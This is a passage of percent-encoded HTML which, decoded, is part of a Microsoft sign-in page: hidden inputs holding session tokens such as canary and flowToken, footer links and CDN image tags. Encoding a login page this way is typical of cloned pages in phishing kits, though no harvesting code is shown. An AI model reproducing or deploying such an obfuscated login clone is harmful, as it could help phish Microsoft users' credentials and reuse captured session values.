D%22%70%73%52%4E%47%43%45%6E%74%72%6F%70%79%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%70%6F%73%74%65%64%4C%6F%67%69%6E%53%74%61%74%65%56%69%65%77%52%4E%47%43%45%6E%74%72%6F%70%79%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%70%73%52%4E%47%43%53%4C%4B%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%70%6F%73%74%65%64%4C%6F%67%69%6E%53%74%61%74%65%56%69%65%77%52%4E%47%43%53%4C%4B%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%63%61%6E%61%72%79%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%76%72%2E%63%61%6E%61%72%79%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%5A%7A%4B%38%6F%4D%37%69%4A%64%35%4F%56%79%46%4D%39%35%75%6D%38%38%48%6D%6E%4A%2B%66%30%72%57%52%72%54%69%50%74%76%76%32%50%55%51%3D%38%3A%31%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%63%74%78%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%63%74%78%22%20%76%61%6C%75%65%3D%22%72%51%49%49%41%65%4E%69%73%4E%4C%4A%4B%43%6B%70%4B%4C%62%53%31%79%5F%49%4C%79%70%4A%7A%4E%48%4C%7A%55%77%75%79%69%5F%4F%54%79%76%4A%7A%38%76%4A%7A%45%76%56%53%38%37%50%31%63%73%76%53%73%39%4D%41%62%47%4B%68%4C%67%45%58%74%6B%5F%58%37%64%68%72%36%7A%72%33%75%59%58%74%77%35%7A%71%69%78%65%78%61%68%4D%32%41%6A%39%43%34%79%4D%4C%78%67%5A%62%7A%45%4A%2D%68%65%6C%65%36%61%45%46%37%75%6C%70%71%51%57%4A%5A%5A%6B%35%75%64%64%59%42%46%34%78%63%4A%6A%77%47%7A%46%77%63%45%6C%77%43%44%42%6F%4D%44%77%67%34%56%78%45%53%76%51%4A%6B%35%54%35%53%6C%48%44%71%35%33%58%57%4F%76%50%47%76%64%4F%51%75%47%55%36%7A%36%55%56%58%65%46%76%6D%2D%35%70%6C%65%4B%61%62%2D%59%5A%56%75%76%70%61%6D%70%62%6B%57%46%68%36%35%65%56%37%61%61%51%5A%46%34%55%46%46%49%5A%6B%42%4A%57%56%6C%52%67%47%68%67%62%59%57%56%6F%59%54%32%49%51%6D%73%44%47%64%59%6D%50%34%77%4D%62%59%77%63%35%77%67%4A%4D%52%41%41%32%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%68%70%67%72%65%71%75%65%73%74%69%64%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%76%72%2E%73%65%73%73%69%6F%6E%49%64%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%39%34%32%33%33%35%30%39%2D%63%31%63%34%2D%34%35%61%66%2D%61%63%33%66%2D%32%33%39%61%61%65%63%65%33%38%30%30%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%64%3D%22%69%30%33%32%37%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%61%74%74%72%3A%20%7B%20%6E%61%6D%65%3A%20%73%76%72%2E%73%46%54%4E%61%6D%65%20%7D%2C%20%76%61%6C%75%65%3A%20%66%6C%6F%77%54%6F%6B%65%6E%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6E%61%6D%65%3D%22%66%6C%6F%77%54%6F%6B%65%6E%22%20%76%61%6C%75%65%3D%22%41%51%41%42%41%41%45%41%41%41%43%45%66%65%78%58%78%6A%61%6D%51%62%33%4F%65%47%51%34%47%75%67%76%4A%6B%53%59%2D%55%44%2D%79%58%63%6A%6E%65%7A%52%66%48%42%78%63%41%79%34%50%38%62%57%44%75%4C%43%34%6B%4A%57%35%69%4A%4E%6C%76%6C%34%72%54%39%30%33%57%69%53%66%6B%6E%39%4F%67%2D%6B%6E%78%44%74%75%6A%47%5A%69%66%7A%32%47%58%53%58%4B%74%61%67%50%6F%59%76%66%6D%71%6E%5F%49%77%69%5A%33%37%70%67%56%73%48%62%6D%39%30%79%39%59%48%56%56%45%41%57%32%34%56%35%49%48%51%49%57%4A%6C%50%64%2D%53%2D%66%62%4C%30%6E%63%46%34%56%6A%49%6C%48%5A%4B%6B%57%42%76%6C%56%65%6B%6C%62%6C%6F%42%6B%42%53%4C%59%6F%6A%47%71%46%45%43%4A%5A%6A%72%4C%6C%65%37%79%61%36%4C%78%34%52%73%56%45%63%70%44%4E%59%39%51%50%70%6E%39%66%4C%6D%35%67%59%49%32%4D%41%78%45%4C%42%51%62%31%62%62%35%70%4B%4D%65%4B%4D%47%41%50%51%34%57%57%72%79%6F%62%39%7A%5F%48%68%6D%4F%75%6F%53%32%32%59%76%6D%2D%57%2D%58%48%6A%4F%42%6C%4E%33%59%35%57%56%76%4F%32%33%63%6F%6B%4C%78%75%46%59%78%57%53%61%4B%36%5A%71%46%71%6B%71%35%71%35%77%39%6B%69%49%41%47%6B%35%47%77%31%79%45%32%59%50%36%30%61%4A%30%75%4B%45%4D%62%31%32%6E%30%48%46%37%78%72%51%30%6C%31%76%63%4E%69%4C%72%47%6C%37%73%77%64%5F%69%6B%6A%57%4B%76%7A%56%59%71%6B%4C%42%31%4A%78%72%30%67%41%41%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%50%50%53%58%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%76%72%2E%73%52%61%6E%64%6F%6D%42%6C%6F%62%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%4E%65%77%55%73%65%72%22%20%76%61%6C%75%65%3D%22%31%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%46%6F%75%6E%64%4D%53%41%73%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%76%72%2E%73%46%6F%75%6E%64%4D%53%41%73%22%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%66%73%70%6F%73%74%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%76%72%2E%66%50%4F%53%54%5F%46%6F%72%63%65%53%69%67%6E%69%6E%20%3F%20%31%20%3A%20%30%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%30%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%69%32%31%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%77%61%73%4C%65%61%72%6E%4D%6F%72%65%53%68%6F%77%6E%28%29%20%3F%20%31%20%3A%20%30%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%30%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%43%6F%6F%6B%69%65%44%69%73%63%6C%6F%73%75%72%65%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%76%72%2E%66%53%68%6F%77%43%6F%6F%6B%69%65%42%61%6E%6E%65%72%20%3F%20%31%20%3A%20%30%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%30%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%49%73%46%69%64%6F%53%75%70%70%6F%72%74%65%64%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%69%73%46%69%64%6F%53%75%70%70%6F%72%74%65%64%20%3F%20%31%20%3A%20%30%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3D%22%31%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%69%6E%73%74%72%75%6D%65%6E%74%61%74%69%6F%6E%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%75%62%6C%69%63%4D%65%74%68%6F%64%73%3A%20%69%6E%73%74%72%75%6D%65%6E%74%61%74%69%6F%6E%4D%65%74%68%6F%64%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%69%32%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%63%6C%69%65%6E%74%4D%6F%64%65%22%20%76%61%6C%75%65%3D%22%31%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%69%31%37%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%72%73%46%61%69%6C%65%64%22%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%69%31%38%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%73%72%73%53%75%63%63%65%73%73%22%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%69%31%39%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%76%61%6C%75%65%3A%20%74%69%6D%65%4F%6E%50%61%67%65%22%20%76%61%6C%75%65%3D%22%22%20%74%79%70%65%3D%22%68%69%64%64%65%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%69%64%3D%22%66%6F%6F%74%65%72%22%20%63%6C%61%73%73%3D%22%66%6F%6F%74%65%72%20%64%65%66%61%75%6C%74%22%20%72%6F%6C%65%3D%22%63%6F%6E%74%65%6E%74%69%6E%66%6F%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%20%27%64%65%66%61%75%6C%74%27%3A%20%21%62%61%63%6B%67%72%6F%75%6E%64%4C%6F%67%6F%55%72%6C%28%29%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%66%6F%6F%74%65%72%2D%63%6F%6E%74%72%6F%6C%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%65%62%75%67%44%65%74%61%69%6C%73%3A%20%64%65%62%75%67%44%65%74%61%69%6C%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%68%6F%77%4C%69%6E%6B%73%3A%20%74%72%75%65%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%67%72%65%65%6D%65%6E%74%43%6C%69%63%6B%3A%20%66%6F%6F%74%65%72%5F%61%67%72%65%65%6D%65%6E%74%43%6C%69%63%6B%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%68%6F%77%44%65%62%75%67%44%65%74%61%69%6C%73%43%6C%69%63%6B%3A%20%66%6F%6F%74%65%72%5F%73%68%6F%77%44%65%62%75%67%44%65%74%61%69%6C%73%43%6C%69%63%6B%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%68%6F%77%4C%69%6E%6B%73%20%7C%7C%20%69%6D%70%72%65%73%73%75%6D%4C%69%6E%6B%20%7C%7C%20%73%68%6F%77%49%63%70%4C%69%63%65%6E%73%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%69%64%3D%22%66%6F%6F%74%65%72%4C%69%6E%6B%73%22%20%63%6C%61%73%73%3D%22%66%6F%6F%74%65%72%4E%6F%64%65%20%74%65%78%74%2D%73%65%63%6F%6E%64%61%72%79%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%21%73%68%6F%77%49%63%70%4C%69%63%65%6E%73%65%20%2D%2D%3E%3C%73%70%61%6E%20%69%64%3D%22%66%74%72%43%6F%70%79%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%68%74%6D%6C%3A%20%73%76%72%2E%73%74%72%43%6F%70%79%72%69%67%68%74%54%78%74%22%3E%A9%32%30%32%30%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%4D%69%63%72%6F%73%6F%66%74%3C%2F%73%70%61%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%3C%61%20%69%64%3D%22%66%74%72%54%65%72%6D%73%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%74%65%78%74%3A%20%73%74%72%5B%27%4D%4F%42%49%4C%45%5F%53%54%52%5F%46%6F%6F%74%65%72%5F%54%65%72%6D%73%27%5D%2C%20%68%72%65%66%3A%20%74%65%72%6D%73%4C%69%6E%6B%2C%20%63%6C%69%63%6B%3A%20%74%65%72%6D%73%4C%69%6E%6B%5F%6F%6E%43%6C%69%63%6B%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D%2F%65%6E%2D%55%53%2F%73%65%72%76%69%63%65%73%61%67%72%65%65%6D%65%6E%74%2F%22%3E%54%65%72%6D%73%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6F%66%20%75%73%65%3C%2F%61%3E%20%3C%61%20%69%64%3D%22%66%74%72%50%72%69%76%61%63%79%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%74%65%78%74%3A%20%73%74%72%5B%27%4D%4F%42%49%4C%45%5F%53%54%52%5F%46%6F%6F%74%65%72%5F%50%72%69%76%61%63%79%27%5D%2C%20%68%72%65%66%3A%20%70%72%69%76%61%63%79%4C%69%6E%6B%2C%20%63%6C%69%63%6B%3A%20%70%72%69%76%61%63%79%4C%69%6E%6B%5F%6F%6E%43%6C%69%63%6B%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%70%72%69%76%61%63%79%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D%2F%65%6E%2D%55%53%2F%70%72%69%76%61%63%79%73%74%61%74%65%6D%65%6E%74%22%3E%50%72%69%76%61%63%79%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%26%61%6D%70%3B%20%63%6F%6F%6B%69%65%73%3C%2F%61%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%69%6D%70%72%65%73%73%75%6D%4C%69%6E%6B%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%68%6F%77%49%63%70%4C%69%63%65%6E%73%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%61%20%68%72%65%66%3D%22%23%22%20%72%6F%6C%65%3D%22%62%75%74%74%6F%6E%22%20%63%6C%61%73%73%3D%22%6D%6F%72%65%4F%70%74%69%6F%6E%73%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%63%6C%69%63%6B%3A%20%6D%6F%72%65%49%6E%66%6F%5F%6F%6E%43%6C%69%63%6B%2C%20%20%20%20%20%20%20%20%61%72%69%61%4C%61%62%65%6C%3A%20%73%74%72%5B%27%43%54%5F%53%54%52%5F%4D%6F%72%65%5F%4F%70%74%69%6F%6E%73%5F%45%6C%6C%69%70%73%69%73%5F%41%72%69%61%4C%61%62%65%6C%27%5D%2C%0A%20%20%20%20%20%20%20%20%68%61%73%46%6F%63%75%73%3A%20%66%6F%63%75%73%4D%6F%72%65%49%6E%66%6F%28%29%22%20%61%72%69%61%2D%6C%61%62%65%6C%3D%22%43%6C%69%63%6B%20%68%65%72%65%20%66%6F%72%20%74%72%6F%75%62%6C%65%73%68%6F%6F%74%69%6E%67%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%61%63%63%65%73%73%69%62%6C%65%2D%69%6D%61%67%65%2D%63%6F%6E%74%72%6F%6C%27%2C%20%70%61%72%61%6D%73%3A%20%7B%20%68%61%73%44%61%72%6B%42%61%63%6B%67%72%6F%75%6E%64%3A%20%74%72%75%65%20%7D%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%28%69%73%48%69%67%68%43%6F%6E%74%72%61%73%74%42%6C%61%63%6B%54%68%65%6D%65%20%7C%7C%20%68%61%73%44%61%72%6B%42%61%63%6B%67%72%6F%75%6E%64%20%7C%7C%20%73%76%72%2E%66%48%61%73%42%61%63%6B%67%72%6F%75%6E%64%43%6F%6C%6F%72%29%20%26%26%20%21%69%73%48%69%67%68%43%6F%6E%74%72%61%73%74%57%68%69%74%65%54%68%65%6D%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%74%65%6D%70%6C%61%74%65%3A%20%7B%20%6E%6F%64%65%73%3A%20%5B%6C%69%67%68%74%49%6D%61%67%65%4E%6F%64%65%5D%2C%20%64%61%74%61%3A%20%24%70%61%72%65%6E%74%20%7D%20%2D%2D%3E%3C%69%6D%67%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%64%65%73%6B%74%6F%70%4D%6F%64%65%22%20%72%6F%6C%65%3D%22%70%72%65%73%65%6E%74%61%74%69%6F%6E%22%20%70%6E%67%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%65%6C%6C%69%70%73%69%73%5F%77%68%69%74%65%5F%30%61%64%34%33%30%38%34%38%30%30%66%64%38%62%35%30%61%32%35%37%36%62%35%31%37%33%37%34%36%66%65%2E%70%6E%67%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%76%67%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%65%6C%6C%69%70%73%69%73%5F%77%68%69%74%65%5F%35%61%63%35%39%30%65%65%37%32%62%66%65%30%36%61%37%63%65%63%66%64%37%35%62%35%38%38%61%64%37%33%2E%73%76%67%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%69%6D%67%53%72%63%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%65%6C%6C%69%70%73%69%73%5F%77%68%69%74%65%5F%35%61%63%35%39%30%65%65%37%32%62%66%65%30%36%61%37%63%65%63%66%64%37%35%62%35%38%38%61%64%37%33%2E%73%76%67%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%28%69%73%48%69%67%68%43%6F%6E%74%72%61%73%74%57%68%69%74%65%54%68%65%6D%65%20%7C%7C%20%28%21%68%61%73%44%61%72%6B%42%61%63%6B%67%72%6F%75%6E%64%20%26%26%20%21%73%76%72%2E%66%48%61%73%42%61%63%6B%67%72%6F%75%6E%64%43%6F%6C%6F%72%29%29%20%26%26%20%21%69%73%48%69%67%68%43%6F%6E%74%72%61%73%74%42%6C%61%63%6B%54%68%65%6D%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%63%6F%6D%70%6F%6E%65%6E%74%3A%20%27%61%63%63%65%73%73%69%62%6C%65%2D%69%6D%61%67%65%2D%63%6F%6E%74%72%6F%6C%27%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%28%69%73%48%69%67%68%43%6F%6E%74%72%61%73%74%42%6C%61%63%6B%54%68%65%6D%65%20%7C%7C%20%68%61%73%44%61%72%6B%42%61%63%6B%67%72%6F%75%6E%64%20%7C%7C%20%73%76%72%2E%66%48%61%73%42%61%63%6B%67%72%6F%75%6E%64%43%6F%6C%6F%72%29%20%26%26%20%21%69%73%48%69%67%68%43%6F%6E%74%72%61%73%74%57%68%69%74%65%54%68%65%6D%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%28%69%73%48%69%67%68%43%6F%6E%74%72%61%73%74%57%68%69%74%65%54%68%65%6D%65%20%7C%7C%20%28%21%68%61%73%44%61%72%6B%42%61%63%6B%67%72%6F%75%6E%64%20%26%26%20%21%73%76%72%2E%66%48%61%73%42%61%63%6B%67%72%6F%75%6E%64%43%6F%6C%6F%72%29%29%20%26%26%20%21%69%73%48%69%67%68%43%6F%6E%74%72%61%73%74%42%6C%61%63%6B%54%68%65%6D%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%74%65%6D%70%6C%61%74%65%3A%20%7B%20%6E%6F%64%65%73%3A%20%5B%64%61%72%6B%49%6D%61%67%65%4E%6F%64%65%5D%2C%20%64%61%74%61%3A%20%24%70%61%72%65%6E%74%20%7D%20%2D%2D%3E%3C%69%6D%67%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%6D%6F%62%69%6C%65%4D%6F%64%65%22%20%72%6F%6C%65%3D%22%70%72%65%73%65%6E%74%61%74%69%6F%6E%22%20%70%6E%67%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%65%6C%6C%69%70%73%69%73%5F%67%72%65%79%5F%35%62%63%32%35%32%35%36%37%65%66%35%36%64%62%36%34%38%32%30%37%64%39%63%33%36%61%39%64%30%30%34%2E%70%6E%67%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%76%67%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%65%6C%6C%69%70%73%69%73%5F%67%72%65%79%5F%32%62%35%64%33%39%33%64%62%30%34%61%35%65%36%65%31%66%37%33%39%63%62%32%36%36%65%36%35%62%34%63%2E%73%76%67%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%69%6D%67%53%72%63%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%65%6C%6C%69%70%73%69%73%5F%67%72%65%79%5F%32%62%35%64%33%39%33%64%62%30%34%61%35%65%36%65%31%66%37%33%39%63%62%32%36%36%65%36%35%62%34%63%2E%73%76%67%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C